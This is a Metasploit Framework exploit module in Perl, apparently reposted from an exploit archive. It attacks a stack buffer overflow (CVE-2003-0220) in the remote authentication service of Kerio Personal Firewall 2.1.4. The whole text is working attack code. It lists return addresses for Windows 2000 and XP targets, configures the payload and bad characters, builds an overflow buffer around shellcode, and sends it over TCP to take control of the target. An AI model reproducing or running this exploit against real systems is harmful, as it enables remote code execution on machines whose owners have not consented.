exploits , vulnerabilities , articles , Kerio Personal Firewall Remote Authentication Packet Buffer Overflow Exploit

Rated as : Critical
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::kerio_auth;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
{

'Name' => 'Kerio Personal Firewall 2 (2.1.4) Remote Authentication
Packet Buffer Overflow',
'Version' => '$Revision: 1.1 $',
'Authors' => [ 'y0 [at] w00t-shell.net', ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'win2000', 'winxp', ],
'Priv' => 0,
'UserOpts' => {
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 44334],
'SSL' => [0, 'BOOL', 'Use SSL'],
},
'AutoOpts' => { 'EXITFUNC' => 'process' },
'Payload' => {
'Space' => 1000,
'BadChars' => "\x00",
'Prepend' => "\x81\xc4\x54\xf2\xff\xff",
'Keys' => ['-ws2ord'],
},

'Description' => Pex::Text::Freeform(qq{
This module exploits a stack overflow in Kerio Personal Firewall 
administration authentication process. This module has only been tested 
against Kerio Personal Firewall 2 2.1.4.
}),

'Refs' => [
['BID', '7180'],
['CVE', '2003-0220'],
['URL',
'http://www1.corest.com/common/showdoc.php?idx=314&idxseccion=10'],
],

'Targets' => [
['Windows 2000 Pro SP4 English', 0x7c2ec68b],
['Windows XP Pro SP0 English', 0x77e3171b],
['Windows XP Pro SP1 English', 0x77dc5527],
],

'Keys' => ['firewall'],

'DisclosureDate' => 'Apr 28 2003',

};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' =>
$advanced}, @_);
return($self);
}

sub Exploit
{
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];

if (! $self->InitNops(128)) {
$self->PrintLine("[*] Failed to initialize the nop
module.");
return;
}

my $sploit =
Pex::Text::AlphaNumText(4268). $shellcode.
pack('V', $target->[1]). "\xe9\x0b\xfe\xff\xff";

$self->PrintLine(sprintf("[*] Trying to exploit target %s
0x%.8x", $target->[0], $target->[1]));

my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}

$s->Send($sploit);
$self->Handler($s);
$s->Close();
return;
}

1;
securitydot.net - 2006-03-01